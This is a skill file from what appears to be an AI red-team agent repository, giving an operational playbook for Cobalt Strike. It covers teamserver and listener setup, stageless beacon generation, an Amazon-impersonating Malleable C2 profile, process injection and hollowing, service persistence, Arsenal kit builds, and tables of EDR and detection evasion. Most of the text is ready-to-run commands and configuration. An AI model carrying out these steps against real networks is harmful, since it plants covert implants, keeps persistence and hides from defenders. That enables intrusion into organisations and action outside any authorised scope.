c2-cobalt-strike

Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.

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Cobalt Strike Beacon Operations

Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.

Quick Reference

# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile

# Connect client
./cobaltstrike

# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe

# List active Beacons (Aggressor console)
beacon_ids()

MITRE ATT&CK Mapping

Technique	ID	Usage in Skill
Application Layer Protocol: Web Protocols	T1071.001	HTTPS/HTTP Beacon traffic
Encrypted Channel: Symmetric Cryptography	T1573.001	AES-256 encrypted C2 comms
Non-Application Layer Protocol	T1095	Raw TCP/SMB Beacon channels
Protocol Tunneling	T1572	DNS tunneling, SMB named pipe chaining

1. Teamserver Setup

The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.

# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile

# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050

# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'

OPSEC notes:

Never expose the teamserver port directly to the internet — use a redirector
Use a unique password per engagement; avoid defaults
Bind the management port to localhost or VPN interface only

2. Listener Configuration

HTTPS Listener

# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name:    https-beacon
# Payload: Beacon HTTPS
# Host:    <C2_DOMAIN>
# Port:    443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)

DNS Listener

# Name:    dns-beacon
# Payload: Beacon DNS
# Host:    ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port:    53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
#   A    ns1.<C2_DOMAIN>  ->  <TEAMSERVER_IP>
#   NS   c2.<C2_DOMAIN>   ->  ns1.<C2_DOMAIN>

SMB Listener (Peer-to-Peer)

# Name:    smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.

TCP Listener (Bind/Reverse)

# Name:    tcp-bind
# Payload: Beacon TCP (Bind)
# Port:    4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.

3. Beacon Generation

Stageless Payloads (Preferred for OPSEC)

# GUI: Attacks > Packages > Windows Executable (S)
# Listener:  https-beacon
# Output:    Windows EXE (stageless)
# x64:       checked
# Save to:   /workspace/exploit/beacon_https_x64.exe

# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener:  https-beacon
# Output:    Raw
# x64:       checked
# Save to:   /workspace/exploit/beacon.bin

Staged Payloads

# GUI: Attacks > Packages > Windows Executable
# Listener:  https-beacon
# Output:    Windows EXE
# x64:       checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.

DLL Payloads (Sideloading)

# Attacks > Packages > Windows DLL
# Listener:  https-beacon
# x64:       checked
# Save to:   /workspace/exploit/beacon.dll

# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW

Service EXE (Persistence)

# Attacks > Packages > Windows Service EXE
# Listener:  https-beacon
# x64:       checked
# Registers as a Windows service for persistence via:
#   sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= auto

4. Malleable C2 Profiles

Malleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.

Profile Structure

# /workspace/profiles/amazon.profile

set sample_name "Amazon Browsing";
set sleeptime "60000";          # 60 second callback
set jitter    "37";             # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

# Process injection defaults
set host_stage "false";         # Disable staging (OPSEC)

https-certificate {
    set CN       "www.amazon.com";
    set O        "Amazon.com Inc.";
    set C        "US";
    set validity "365";
}

http-get {
    set uri "/s/ref=nb_sb_noss";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Encoding" "gzip, deflate, br";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            parameter "field-keywords";
        }
    }

    server {
        header "Content-Type" "text/html; charset=UTF-8";
        header "Server" "Server";
        header "X-Amz-Cf-Id" "XXXXXXXXX";

        output {
            netbios;
            prepend "<!DOCTYPE html><html>";
            append "</html>";
            print;
        }
    }
}

http-post {
    set uri "/gp/product/handle-buy-box";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            base64url;
            parameter "session-id";
        }

        output {
            base64url;
            parameter "data";
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            netbios;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

Profile Validation

# Lint profile before loading
./c2lint /workspace/profiles/amazon.profile

# Expected output: no errors, warnings acceptable
# If c2lint fails, the teamserver will refuse to load the profile

OPSEC-Critical Profile Settings

# Disable staged payloads (prevents signature on staging URI)
set host_stage "false";

# Spawn-to — controls which process Beacon forks into for post-ex
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";

# Data transform — change encoding to avoid base64 signatures
set data_jitter "100";

# TCP frame header (avoids default Beacon wire signature)
set tcp_frame_header "\x80";

# SMB pipe name (avoid defaults)
set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.35780273329370473##";

5. Sleep and Jitter Configuration

# Interactive (risky — high beacon rate)
sleep 0

# Low-and-slow recon phase
sleep 300 50          # 5 min +-50% jitter = 150-450 sec intervals

# Standard operations
sleep 60 37           # 60 sec +-37% jitter

# Long-haul persistence
sleep 3600 80         # 1 hour +-80% jitter = 12 min to 1h48m

Guidance:

Phase	Sleep (sec)	Jitter (%)	Rationale
Initial access	60–300	30–50	Blend with normal browsing patterns
Active operations	10–30	20–40	Responsiveness with some variation
Persistence / dormant	1800–86400	50–80	Minimize traffic, maximize dwell
Interactive tasking	0 (session mode)	—	Only for time-critical ops, revert after

6. Process Injection

Fork & Run (Default)

# Beacon spawns a sacrificial process, injects code, collects output, kills process.
# Controlled by spawnto_x86/x64 in profile.

# Override per-command:
spawnto x64 %windir%\sysnative\RuntimeBroker.exe

Inline Execution (BOF)

# BOFs execute in Beacon's own process — no new process, no fork.
# Use Arsenal/community BOFs for OPSEC-sensitive tasks.

inline-execute /workspace/bofs/whoami.o

Manual Injection

# Inject Beacon shellcode into a running process
inject <PID> x64 https-beacon

# Shinject — inject arbitrary shellcode
shinject <PID> x64 /workspace/exploit/shellcode.bin

# DLL injection
dllinject <PID> /workspace/exploit/beacon.dll

Process Hollowing

# Spawn a suspended process and replace its image
# Attacks > Packages > Payload Generator > choose process hollowing
# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system process

OPSEC process selection:

Process	Risk	Notes
`svchost.exe`	Low (if spawned correctly)	Must run as SYSTEM with correct parent
`RuntimeBroker.exe`	Low	Normal user-level process
`dllhost.exe`	Low	COM surrogate, common
`notepad.exe`	Medium	Users notice open windows
`powershell.exe`	High	Heavily monitored by EDR

7. Arsenal Kit Integration

The Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.

# Build custom artifacts (shellcode loaders, DLLs)
cd /opt/cobaltstrike/arsenal-kit/kits/artifact
./build.sh pipe VirtualAlloc 310272 5 false false /workspace/arsenal/artifact

# Build custom resource kit (PowerShell templates, HTA, VBA)
cd /opt/cobaltstrike/arsenal-kit/kits/resource
./build.sh /workspace/arsenal/resource

# Build custom process-inject kit
cd /opt/cobaltstrike/arsenal-kit/kits/process_inject
./build.sh /workspace/arsenal/process_inject

# Load customized kits via Aggressor
# In Script Console:
load("/workspace/arsenal/artifact/artifact.cna")
load("/workspace/arsenal/resource/resources.cna")
load("/workspace/arsenal/process_inject/process_inject.cna")

8. OPSEC Considerations

Risk	Default Behavior	Mitigation
Named pipes	`\\.\pipe\msagent_XX`	Custom `pipename` in profile
Spawn-to process	`rundll32.exe`	Set `spawnto_x64` to `dllhost.exe` or `RuntimeBroker.exe`
Staging URIs	Checksum8 pattern (`/aaa9`, `/ab2g`)	`set host_stage "false"`
Self-signed TLS	Default CS cert	Use valid cert or Malleable `https-certificate` block
JA3 fingerprint	Unique to CS	Use a redirector with nginx to terminate TLS
User-Agent	Default CS UA	Set in Malleable profile
Post-ex commands	Fork & run (new process)	Use BOFs for inline execution
DNS queries	High volume TXT records	Increase sleep, use hybrid DNS+HTTPS

Detection Signatures

Indicator	Pattern	Mitigation
Default named pipe	`\\.\pipe\msagent_*`	Custom pipename in Malleable profile
Checksum8 staging URI	URI where `checksum8(uri) == 92` (x86) or `93` (x64)	Disable staging (`host_stage "false"`)
Beacon metadata	XOR-encoded cookie in HTTP GET	Custom metadata transform in profile
Default TLS cert	Serial `146473198` / Issuer "Major Cobalt Strike"	Valid cert or custom `https-certificate`
Sleep pattern	Consistent interval with fixed jitter	Randomize sleep values per phase
NtCreateThreadEx injection	ETW process injection telemetry	Use BOFs, modify process_inject kit
Named pipe impersonation	`ImpersonateNamedPipeClient` calls	Unique pipe names, limit lateral SMB usage

Error Handling & Edge Cases

Issue	Symptom	Resolution
c2lint fails	`Profile failed validation`	Fix syntax; ensure all blocks have matching braces
Beacon won't call back	No sessions appear	Verify listener port open, DNS resolves, redirector forwards correctly
Staging blocked	`HTTP 404` on stager URI	Defender blocking checksum8 URI; switch to stageless
Process injection fails	`Could not inject`	Target process arch mismatch (x86 vs x64) or protected process
Malleable profile conflict	Teamserver exits on start	Only one profile per teamserver; check for duplicate global options
Beacon killed after minutes	AV/EDR detection	Recompile artifact kit, change sleep, use process hollowing
SMB Beacon unreachable	`could not connect to pipe`	Firewall blocking port 445 or pipe name changed

Decision Gate

Is the target environment monitored by mature EDR?
├── YES
│   ├── Use stageless payloads with host_stage=false
│   ├── Customize artifact kit for loader evasion
│   ├── BOFs over fork-and-run for post-exploitation
│   ├── Profile mimicking high-volume site (CDN, SaaS)
│   └── Consider domain fronting (see c2-domain-fronting skill)
├── NO (limited monitoring)
│   ├── Standard HTTPS listener with moderate profile
│   ├── Fork-and-run acceptable for speed
│   └── Default artifact kit may suffice
└── INTERNAL PIVOT (post-initial-access)
    ├── SMB Beacon for peer-to-peer chaining
    ├── TCP bind Beacon for segmented networks
    └── Named pipe customization required

Tools & Resources

Tool	Purpose	Source
Cobalt Strike	Adversary simulation platform	https://www.cobaltstrike.com/
Arsenal Kit	Source-level CS customization	Included with CS license
c2lint	Malleable profile validator	Included with CS
Malleable-C2-Profiles	Community profile repo	https://github.com/rsmudge/Malleable-C2-Profiles
BOF.NET	.NET BOF execution	https://github.com/CCob/BOF.NET
CS-Situational-Awareness-BOF	Recon BOFs	https://github.com/trustedsec/CS-Situational-Awareness-BOF
Cobalt Strike Community Kit	Community extensions	https://cobalt-strike.github.io/community_kit/

Repository: PurpleAILAB/Decepticon
Path: packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md
Commit: e34afba

Last updated: about 14 hours ago
First committed: about 1 month ago

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